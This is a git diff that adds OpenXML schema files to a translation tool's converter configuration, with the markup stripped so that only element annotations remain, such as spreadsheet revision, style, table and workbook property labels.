Id + + + + + Revision From Rejection + + + + + Revision Undo Rejected + + + + + + + + Sheet Id Map + + + + + Reviewed List + + + + + + + GUID + + + + + Date Time + + + + + Last Sheet Id + + + + + User Name + + + + + + Minimum Revision Id + + + + + Max Revision Id + + + + + + + + Sheet Id + + + + + + Sheet Count + + + + + + + Sheet Id + + + + + + + + Reviewed + + + + + + Reviewed Revisions Count + + + + + + + revision Id + + + + + + + Idex + + + + + Expression + + + + + Reference 3D + + + + + Array Entered + + + + + Value Needed + + + + + Defined Name Formula + + + + + Cross Sheet Move + + + + + Range + + + + + Defined Name + + + + + Cell Reference + + + + + Sheet Id + + + + + + + + Undo + + + + + Revised Row Column + + + + + Revision Format + + + + + + Revision Data + + + + + Sheet Id + + + + + End Of List + + + + + Reference + + + + + User Action + + + + + Edge Deleted + + + + + + + + Undo + + + + + Revision Cell Contents + + + + + Revision Format + + + + + + Revision Data + + + + + Sheet Id + + + + + Source + + + + + Destination + + + + + Source Sheet Id + + + + + + + GUID + + + + + User Action + + + + + + + + + + Revision Data + + + + + Sheet Id + + + + + Old Sheet Name + + + + + New Sheet Name + + + + + + + Revision Data + + + + + Sheet Id + + + + + Sheet Name + + + + + Sheet Position + + + + + + + + Old Cell Data + + + + + New Cell Data + + + + + Old Formatting Information + + + + + New Formatting Information + + + + + + + Revision Data + + + + + Sheet Id + + + + + Old Formatting + + + + + Row Column Formatting Change + + + + + Style Revision + + + + + Formatting + + + + + Number Format Id + + + + + + + + + + + + + Formatting + + + + + + + Sheet Id + + + + + Row or Column Formatting Change + + + + + Style + + + + + Sequence Of References + + + + + + + + + Sheet Id + + + + + Auto Format Properties + + + + + Reference + + + + + + + Sheet Id + + + + + Cell + + + + + GUID + + + + + User Action + + + + + Always Show Comment + + + + + Old Comment + + + + + Comment In Hidden Row + + + + + Hidden Column + + + + + Author + + + + + + + + Formula + + + + + Old Formula + + + + + + + Revision Data + + + + + Local Name Sheet Id + + + + + Custom View + + + + + Name + + + + + Function + + + + + Old Function + + + + + Function Group Id + + + + + Old Function Group Id + + + + + Shortcut Key + + + + + Old Short Cut Key + + + + + Named Range Hidden + + + + + Old Hidden + + + + + New Custom Menu + + + + + Old Custom Menu Text + + + + + Description + + + + + Old Description + + + + + New Help Topic + + + + + Old Help Topic + + + + + Status Bar + + + + + Old Status Bar + + + + + + + + + Revision Data + + + + + Sheet Id + + + + + + + Sheet Id + + + + + QueryTable Reference + + + + + Field Id + + + + + + Row Column Action Type + + + + + Insert Row + + + + + Delete Row + + + + + Column Insert + + + + + Delete Column + + + + + + + Revision Action Types + + + + + Add + + + + + Delete + + + + + + + Formula Expression Type + + + + + Reference + + + + + Reference Is Error + + + + + Area + + + + + Area Error + + + + + Computed Area + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrusr.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrusr.xsd new file mode 100644 index 0000000..3cd235c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrusr.xsd @@ -0,0 +1,48 @@ + + + + + + User List + + + + + + + User Information + + + + + + Active User Count + + + + + + + + + + User Revisions GUID + + + + + User Name + + + + + User Id + + + + + Date Time + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-singlecells.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-singlecells.xsd new file mode 100644 index 0000000..4fe3709 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-singlecells.xsd @@ -0,0 +1,102 @@ + + + + + + + Single Cells + + + + + + + Table Properties + + + + + + + + + Cell Properties + + + + + Future Feature Data Storage Area + + + + + + Table Id + + + + + Table Name + + + + + Table Display Name + + + + + Reference + + + + + + + + + Column XML Properties + + + + + Future Feature Data Storage Area + + + + + + Table Field Id + + + + + Unique Table Name + + + + + + + + Future Feature Data Storage Area + + + + + + XML Map Id + + + + + XPath + + + + + XML Data Type + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sst.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sst.xsd new file mode 100644 index 0000000..0ee7010 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sst.xsd @@ -0,0 +1,236 @@ + + + + + + + Shared String Table + + + + + + + String Item + + + + + + String Count + + + + + Unique String Count + + + + + + Phonetic Type + + + + + Half-Width Katakana + + + + + Full-Width Katakana + + + + + Hiragana + + + + + No Conversion + + + + + + + Phonetic Alignment Types + + + + + No Control + + + + + Left Alignment + + + + + Center Alignment + + + + + Distributed + + + + + + + + + Text + + + + + + Base Text Start Index + + + + + Base Text End Index + + + + + + + + Run Properties + + + + + Text + + + + + + + + + Font + + + + + Character Set + + + + + Font Family + + + + + Bold + + + + + Italic + + + + + Strike Through + + + + + Outline + + + + + Shadow + + + + + Condense + + + + + Extend + + + + + Text Color + + + + + Font Size + + + + + Underline + + + + + Vertical Alignment + + + + + Font Scheme + + + + + + + + + Text + + + + + Rich Text Run + + + + + Phonetic Run + + + + + Phonetic Properties + + + + + + + + Font Id + + + + + Character Type + + + + + Alignment + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-styles.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-styles.xsd new file mode 100644 index 0000000..4ce5dd7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-styles.xsd @@ -0,0 +1,1377 @@ + + + + + + Style Sheet + + + + + + + Number Formats + + + + + Fonts + + + + + Fills + + + + + Borders + + + + + Formatting Records + + + + + Cell Formats + + + + + Cell Styles + + + + + Formats + + + + + Table Styles + + + + + Colors + + + + + Future Feature Data Storage Area + + + + + + + + Horizontal Alignment + + + + + Vertical Alignment + + + + + Text Rotation + + + + + Wrap Text + + + + + Indent + + + + + + Justify Last Line + + + + + Shrink To Fit + + + + + Merged Cells + + + + + Reading Order + + + + + + Border Line Styles + + + + + None + + + + + Thin Border + + + + + Medium Border + + + + + Dashed + + + + + Dotted + + + + + Thick Line Border + + + + + Double Line + + + + + Hairline Border + + + + + Medium Dashed + + + + + Dash Dot + + + + + Medium Dash Dot + + + + + Dash Dot Dot + + + + + Medium Dash Dot Dot + + + + + Slant Dash Dot + + + + + + + + + Border + + + + + + Border Count + + + + + + + + Left Border + + + + + Right Border + + + + + Top Border + + + + + Bottom Border + + + + + Diagonal + + + + + Vertical Inner Border + + + + + Horizontal Inner Borders + + + + + + Diagonal Up + + + + + Diagonal Down + + + + + + + + Color + + + + + + Line Style + + + + + + + Cell Locked + + + + + Hidden Cell + + + + + + + + Font + + + + + + Font Count + + + + + + + + Fill + + + + + + Fill Count + + + + + + + + Pattern + + + + + Gradient + + + + + + + + + Foreground Color + + + + + Background Color + + + + + + Pattern Type + + + + + + + + + + + Tint + + + + + + Pattern Type + + + + + Null + + + + + Solid + + + + + Medium Gray + + + + + Dary Gray + + + + + Light Gray + + + + + Dark Horizontal + + + + + Dark Vertical + + + + + Dark Down + + + + + Dark Up + + + + + Dark Grid + + + + + Dark Trellis + + + + + Light Horizontal + + + + + Light Vertical + + + + + Light Down + + + + + Light Up + + + + + Light Grid + + + + + Light Trellis + + + + + Gray 0.125 + + + + + Gray 0.0625 + + + + + + + + + Gradient Stop + + + + + + Gradient Fill Type + + + + + Linear Gradient Degree + + + + + Left Convergence + + + + + Right Convergence + + + + + Top Gradient Convergence + + + + + Bottom Convergence + + + + + + + + Color + + + + + + Gradient Stop Position + + + + + + Gradient Type + + + + + Linear Gradient + + + + + Path + + + + + + + Horizontal Alignment Type + + + + + General Horizontal Alignment + + + + + Left Horizontal Alignment + + + + + Centered Horizontal Alignment + + + + + Right Horizontal Alignment + + + + + Fill + + + + + Justify + + + + + Center Continuous Horizontal Alignment + + + + + Distributed Horizontal Alignment + + + + + + + Vertical Alignment Types + + + + + Align Top + + + + + Centered Vertical Alignment + + + + + Aligned To Bottom + + + + + Justified Vertically + + + + + Distributed Vertical Alignment + + + + + + + + + Number Formats + + + + + + Number Format Count + + + + + + + Number Format Id + + + + + Number Format Code + + + + + + + + Formatting Elements + + + + + + Style Count + + + + + + + + Format + + + + + + Format Count + + + + + + + + Alignment + + + + + Protection + + + + + Future Feature Data Storage Area + + + + + + Number Format Id + + + + + Font Id + + + + + Fill Id + + + + + Border Id + + + + + Format Id + + + + + Quote Prefix + + + + + + Apply Number Format + + + + + Apply Font + + + + + Apply Fill + + + + + Apply Border + + + + + Apply Alignment + + + + + Apply Protection + + + + + + + + Cell Style + + + + + + Style Count + + + + + + + + Future Feature Data Storage Area + + + + + + User Defined Cell Style + + + + + Format Id + + + + + Built-In Style Id + + + + + Outline Style + + + + + Hidden Style + + + + + + + + Formatting + + + + + + Format Count + + + + + + + + Font Properties + + + + + Number Format + + + + + Fill + + + + + Alignment + + + + + Border Properties + + + + + Protection Properties + + + + + Future Feature Data Storage Area + + + + + + + Number Format Id + + + + + + Font Id + + + + + + Fill Id + + + + + + Border Id + + + + + + Cell Style Format Id + + + + + + Format Id + + + + + + + + Color Indexes + + + + + MRU Colors + + + + + + + + + RGB Color + + + + + + + + + Color + + + + + + + + + + + + Table Styles + + + + + + Table Style Count + + + + + Default Table Style + + + + + Default Pivot Style + + + + + + + + Table Style + + + + + + Table Style Name + + + + + Built-In Style + + + + + Pivot Style + + + + + Table + + + + + Table Style Count + + + + + + + Table Style Type + + + + + Band Size + + + + + Formatting Id + + + + + + Table Style Type + + + + + Whole Table Style + + + + + Header Row Style + + + + + Total Row Style + + + + + First Column Style + + + + + Last Column Style + + + + + First Row Stripe Style + + + + + Second Row Stripe Style + + + + + First Column Stripe Style + + + + + Second Column Stipe Style + + + + + First Header Row Style + + + + + Last Header Style + + + + + First Total Row Style + + + + + Last Total Row Style + + + + + First Subtotal Column Style + + + + + Second Subtotal Column Style + + + + + Third Subtotal Column Style + + + + + First Subtotal Row Style + + + + + Second Subtotal Row Style + + + + + Third Subtotal Row Style + + + + + Blank Row Style + + + + + First Column Subheading Style + + + + + Second Column Subheading Style + + + + + Third Column Subheading Style + + + + + First Row Subheading Style + + + + + Second Row Subheading Style + + + + + Third Row Subheading Style + + + + + Page Field Labels Style + + + + + Page Field Values Style + + + + + + + + Value + + + + + + + Value + + + + + + + Value + + + + + + + String Value + + + + + + + Value + + + + + + Vertical Alignment Run Types + + + + + Baseline + + + + + Superscript + + + + + Subscript + + + + + + + + Font Scheme + + + + + + Font scheme Styles + + + + + None + + + + + Major Font + + + + + Minor Font + + + + + + + + Underline Value + + + + + + Underline Types + + + + + Single Underline + + + + + Double Underline + + + + + Accounting Single Underline + + + + + Accounting Double Underline + + + + + None + + + + + + + + + Font Name + + + + + Character Set + + + + + Font Family + + + + + Bold + + + + + Italic + + + + + Strike Through + + + + + Outline + + + + + Shadow + + + + + Condense + + + + + Extend + + + + + Text Color + + + + + Font Size + + + + + Underline + + + + + Text Vertical Alignment + + + + + Scheme + + + + + + + Auto Format Properties + + + + Auto Format Id + + + + + Apply Number Formats + + + + + Apply Border Formats + + + + + Apply Font Formats + + + + + Apply Pattern Formats + + + + + Apply Alignment Formats + + + + + Apply Width / Height Formats + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-supbook.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-supbook.xsd new file mode 100644 index 0000000..1426c7a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-supbook.xsd @@ -0,0 +1,281 @@ + + + + + + + + External Reference + + + + + + + + + + + + + + Supporting Workbook Sheet Names + + + + + Named Links + + + + + Cached Worksheet Data + + + + + + + + + + Sheet Name + + + + + + + + Sheet Name Value + + + + + + + + Defined Name + + + + + + + + Defined Name + + + + + Refers To + + + + + Sheet Id + + + + + + + + Cached Worksheet Data + + + + + + + + + Row + + + + + + Sheet Id + + + + + + + + Supporting Cell Data + + + + + + Row + + + + + + + + Value + + + + + + Reference + + + + + Type + + + + + Value Metadata + + + + + + + + + + + + + + + DDE Link + + + + + + + + + DDE Name Values + + + + + + DDE Name + + + + + OLE + + + + + Advise + + + + + + + + + Value + + + + + + Rows + + + + + Columns + + + + + + + + DDE Link Value + + + + + + DDE Value Type + + + + + + DDE Value Types + + + + + Nil + + + + + Boolean + + + + + Real Number + + + + + Error + + + + + String + + + + + + + + + + + + + + + + OLE Link + + + + + + + + OLE Name + + + + + Icon + + + + + Advise + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-table.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-table.xsd new file mode 100644 index 0000000..4db15f7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-table.xsd @@ -0,0 +1,624 @@ + + + + + + + + + Table + + + + + + + Table AutoFilter + + + + + Sort State + + + + + Table Columns + + + + + Table Style + + + + + Future Feature Data Storage Area + + + + + + Table Id + + + + + Name + + + + + Table Name + + + + + Table Comment + + + + + Reference + + + + + Table Type + + + + + Header Row Count + + + + + Insert Row Showing + + + + + Insert Row Shift + + + + + Totals Row Count + + + + + Totals Row Shown + + + + + Published + + + + + Header Row Format Id + + + + + Data Area Format Id + + + + + Totals Row Format Id + + + + + Header Row Border Format Id + + + + + Table Border Format Id + + + + + Totals Row Border Format Id + + + + + Header Row Style + + + + + Data Style Name + + + + + Totals Row Style + + + + + + + Table Type + + + + + Worksheet + + + + + XML + + + + + Query Table + + + + + + + + Style Name + + + + + Show First Column + + + + + Show Last Column + + + + + Show Row Stripes + + + + + Show Column Stripes + + + + + + + + Table Column + + + + + + Column Count + + + + + + + + Calculated Column Formula + + + + + Totals Row Formula + + + + + XML Column Properties + + + + + Future Feature Data Storage Area + + + + + + Table Field Id + + + + + Unique Name + + + + + Table Field Name + + + + + Totals Row Function + + + + + Totals Row Label + + + + + Query Table Field Id + + + + + Header Row Cell Format Id + + + + + Data & Insert Row Format Id + + + + + Totals Row Format Id + + + + + Header Row Cell Style + + + + + Data Area Style Name + + + + + Totals Row Style Name + + + + + + + + + Array + + + + + Defer Formula Deserialization + + + + + + + + Totals Row Function Types + + + + + None + + + + + Sum + + + + + Minimum + + + + + Maximum + + + + + Average + + + + + Non Empty Cell Count + + + + + Count Numbers + + + + + StdDev + + + + + Var + + + + + Custom Formula + + + + + + + + + Future Feature Data Storage Area + + + + + + XML Map Id + + + + + XPath + + + + + Denormalized + + + + + XML Data Type + + + + + + XML Data Types + + + + + String + + + + + Normalized String + + + + + Token + + + + + Byte + + + + + Unsigned Byte + + + + + Base 64 Encoded Binary + + + + + Hex Binary + + + + + Integer + + + + + Positive Integer + + + + + Negative Integer + + + + + Non Positive Integer + + + + + Non Negative Integer + + + + + Integer + + + + + Unsigned Integer + + + + + Long + + + + + Unsigned Long + + + + + Short + + + + + Unsigned Short + + + + + Decimal + + + + + Float + + + + + Double + + + + + Boolean + + + + + Time + + + + + Date Time + + + + + Duration + + + + + Date + + + + + gMonth + + + + + gYear + + + + + gYearMonth + + + + + gDay + + + + + gMonthDays + + + + + Name + + + + + Qname + + + + + NCName + + + + + Any URI + + + + + Language + + + + + ID + + + + + IDREF + + + + + + ENTITY + + + + + ENTITIES + + + + + Notation + + + + + NMTOKEN + + + + + NMTOKENS + + + + + Any Type + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-voldeps.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-voldeps.xsd new file mode 100644 index 0000000..06876f0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-voldeps.xsd @@ -0,0 +1,126 @@ + + + + + + Volatile Dependency Types + + + + + + + Volatile Dependency Type + + + + + + + + + Main + + + + + + Type + + + + + + + + Topic + + + + + + First String + + + + + + + + Topic Value + + + + + Strings in Subtopic + + + + + References + + + + + + Type + + + + + + + Reference + + + + + Sheet Id + + + + + + Volatile Depdendency Types + + + + + Real Time Data + + + + + OLAP Formulas + + + + + + + Volatile Dependency Value Types + + + + + Boolean + + + + + Real Number + + + + + Error + + + + + String + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-workbook.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-workbook.xsd new file mode 100644 index 0000000..e1fd96f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-workbook.xsd @@ -0,0 +1,1094 @@ + + + + + + + Workbook + + + + + + + File Version + + + + + File Sharing + + + + + Workbook Properties + + + + + Workbook Views + + + + + Sheets + + + + + + + External References + + + + + Defined Names + + + + + Calculation Properties + + + + + OLE Size + + + + + Workbook Protection + + + + + Custom Workbook Views + + + + + PivotCaches + + + + + Smart Tag Properties + + + + + Smart Tag Types + + + + + Web Publishing Properties + + + + + File Recovery Properties + + + + + Future Feature Data Storage Area + + + + + + Book Name + + + + + + + Last Edited Version + + + + + Lowest Edited Version + + + + + Build Version + + + + + Type Library Id + + + + + + + + Workbook View + + + + + + + + Visibility + + + + + Minimized + + + + + Show Horizontal Scroll + + + + + Show Vertical Scroll + + + + + Show Sheet Tabs + + + + + Upper Left Corner (X Coordinate) + + + + + Upper Left Corner (Y Coordinate) + + + + + Window Width + + + + + Window Height + + + + + Sheet Tab Ratio + + + + + First Sheet + + + + + Active Sheet Index + + + + + AutoFilter Date Grouping + + + + + + Visibility Types + + + + + Visible + + + + + Hidden + + + + + Very Hidden + + + + + + + + + Custom Workbook View + + + + + + + + + + + Custom View Name + + + + + Custom View GUID + + + + + Auto Update + + + + + Merge Interval + + + + + Changes Saved Win + + + + + Only Synch + + + + + Personal View + + + + + Include Print Settings + + + + + Include Hidden Rows & Columns + + + + + Maximized + + + + + Minimized + + + + + Show Horizontal Scroll + + + + + Show Vertical Scroll + + + + + Show Sheet Tabs + + + + + Top Left Corner (X Coordinate) + + + + + Top Left Corner (Y Coordinate) + + + + + Window Width + + + + + Window Height + + + + + Sheet Tab Ratio + + + + + Active Sheet in Book View + + + + + Show Formula Bar + + + + + Show Status Bar + + + + + Show Comments + + + + + Show Objects + + + + + + Comment Display Types + + + + + No Comments + + + + + Show Comment Indicator + + + + + Show Comment & Indicator + + + + + + + Object Display Types + + + + + All + + + + + Show Placeholders + + + + + None + + + + + + + + + Sheet Information + + + + + + + + Sheet Name + + + + + Sheet Tab Id + + + + + Sheet Type + + + + + Visible State + + + + + + + Sheet Types + + + + + Worksheet + + + + + Macro Sheet + + + + + Chart Sheet + + + + + Dialog Sheet + + + + + Basic Module Sheet + + + + + + + Sheet Visibility Types + + + + + Visible + + + + + Hidden + + + + + Very Hidden + + + + + + + + Date 1904 + + + + + Show Objects + + + + + Audit + + + + + Show Border Unselected Table + + + + + Filter Privacy + + + + + Prompted Solutions + + + + + Show Ink Annotations + + + + + Create Backup File + + + + + Save External Link Values + + + + + Update Links Behavior + + + + + VB Name (Code Name) + + + + + Hide Pivot Field List + + + + + Show Pivot Chart Filter + + + + + Allow Refresh Query + + + + + Publish Items + + + + + Check Compatibility On Save + + + + + + + + Update Links Behavior Types + + + + + User Set + + + + + Never Update Links + + + + + Always Update Links + + + + + + + + Embed SmartTags + + + + + Show Smart Tags + + + + + + Smart Tag Display Types + + + + + All + + + + + None + + + + + No Smart Tag Indicator + + + + + + + + + Smart Tag Type + + + + + + + + SmartTag Namespace URI + + + + + Name + + + + + Smart Tag URL + + + + + + + Auto Recover + + + + + Crash Save + + + + + Minimal Save + + + + + Data Extract Load + + + + + Repair Load + + + + + + + Calculation Id + + + + + Calculation Mode + + + + + Full Calculation On Load + + + + + Reference Mode + + + + + Calculation Iteration + + + + + Iteration Count + + + + + Iterative Calculation Delta + + + + + Full Precision Calculation + + + + + Calc Completed + + + + + Calculate On Save + + + + + Concurrent Calculations + + + + + Concurrent Thread Manual Count + + + + + + Calculation Mode + + + + + Manual Calculation Mode + + + + + Automatic + + + + + Automatic Calculation (No Tables) + + + + + + + Reference Mode + + + + + A1 Mode + + + + + R1C1 Reference Mode + + + + + + + + + Defined Name + + + + + + + + + + Defined Name + + + + + Comment + + + + + Custom Menu Text + + + + + Macro Description + + + + + Help + + + + + Status Bar + + + + + Local Name Sheet Id + + + + + Hidden Name + + + + + Function + + + + + VB Procedure + + + + + XLM + + + + + Complex Function + + + + + Built-In Name + + + + + Function Group Id + + + + + Shortcut Key + + + + + Publish To Server + + + + + Workbook Parameter (Server) + + + + + + + + + + External Reference + + + + + + + + + + + + + + + PivotCache + + + + + + + + PivotCache Id + + + + + + + + Read Only Recommended + + + + + User Name + + + + + Write Reservation Password + + + + + + + Reference + + + + + + + Workbook Password + + + + + Revisions Password + + + + + Lock Structure + + + + + Lock Windows + + + + + Lock Revisions + + + + + + + Use CSS + + + + + Thicket + + + + + Enable Long File Names + + + + + VML in Browsers + + + + + Allow PNG + + + + + Target Screen Size + + + + + DPI + + + + + Code Page + + + + + + Target Screen Size Types + + + + + 544 x 376 Resolution + + + + + 640 x 480 Resolution + + + + + 720 x 512 Resolution + + + + + 800 x 600 Resolution + + + + + 1024 x 768 Resolution + + + + + 1152 x 882 Resolution + + + + + 1152 x 900 Resolution + + + + + 1280 x 1024 Resolution + + + + + 1600 x 1200 Resolution + + + + + 1800 x 1440 Resolution + + + + + 1920 x 1200 Resolution + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-xmlmaps.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-xmlmaps.xsd new file mode 100644 index 0000000..cfdf922 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-xmlmaps.xsd @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-officedrawing.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-officedrawing.xsd new file mode 100644 index 0000000..fefb6aa --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-officedrawing.xsd @@ -0,0 +1,370 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-wordprocessingdrawing.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-wordprocessingdrawing.xsd new file mode 100644 index 0000000..f9afb35 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml-wordprocessingdrawing.xsd @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml.xsd new file mode 100644 index 0000000..8a3bcb8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/vml.xsd @@ -0,0 +1,738 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/wml.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/wml.xsd new file mode 100644 index 0000000..12d551c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/wml.xsd @@ -0,0 +1,11175 @@ + + + + + + + + + + + On/Off Value + + + + + True + + + + + False + + + + + True + + + + + False + + + + + False + + + + + True + + + + + + + + On/Off Value + + + + + + Yes or No Value + + + + + Yes + + + + + + + + Four Digit Hexadecimal Number Value + + + + + + + + + Long Hexadecimal Number Value + + + + + + Two Digit Hexadecimal Number Value + + + + + + + + + Two Digit Hexadecimal Value + + + + + + One Digit Hexadecimal Number Value + + + + + + + + + Value + + + + + + Decimal Number Value + + + + + + + Decimal Number Value + + + + + + Unsigned Decimal Number Value + + + + + + + + + Measurement in Twentieths of a Point + + + + + + + Twips measurement + + + + + + Signed Measurement in Twentieths of a Point + + + + + + + Positive or Negative Value in Twentieths of a Point + + + + + + + + + + Value + + + + + + Measurement in Half-Points + + + + + + + Half Point Measurement + + + + + + Signed Measurement in Half-Points + + + + + + + Signed Half-Point Measurement + + + + + + Standard Date and Time Storage Format + + + + + + + + + + + + Macro Name + + + + + + Measurement in Eighths of a Point + + + + + + Measurement in Points + + + + + + String + + + + + + + String Value + + + + + + Text Expansion/Compression Percentage + + + + + + + + + + Text Expansion/Compression Value + + + + + + Text Highlight Colors + + + + + Black Highlighting Color + + + + + Blue Highlighting Color + + + + + Cyan Highlighting Color + + + + + Green Highlighting Color + + + + + Magenta Highlighting Color + + + + + Red Highlighting Color + + + + + Yellow Highlighting Color + + + + + White Highlighting Color + + + + + Dark Blue Highlighting Color + + + + + Dark Cyan Highlighting Color + + + + + Dark Green Highlighting Color + + + + + Dark Magenta Highlighting Color + + + + + Dark Red Highlighting Color + + + + + Dark Yellow Highlighting Color + + + + + Dark Gray Highlighting Color + + + + + Light Gray Highlighting Color + + + + + No Text Highlighting + + + + + + + + Highlighting Color + + + + + + ‘Automatic’ Color Value + + + + + Automatically Determined Color + + + + + + + Hexadecimal Color Value + + + + + + + + Color Value + + + + + + + Value + + + + + + + Value + + + + + Sorting rank + + + + + + + Run Content Color + + + + + Run Content Theme Color + + + + + Run Content Theme Color Tint + + + + + Run Content Theme Color Shade + + + + + + Two Digit Hexadecimal Language Code + + + + + + + + Language Reference + + + + + + + Language Code + + + + + + + + + + + + GUID value + + + + + + Underline Patterns + + + + 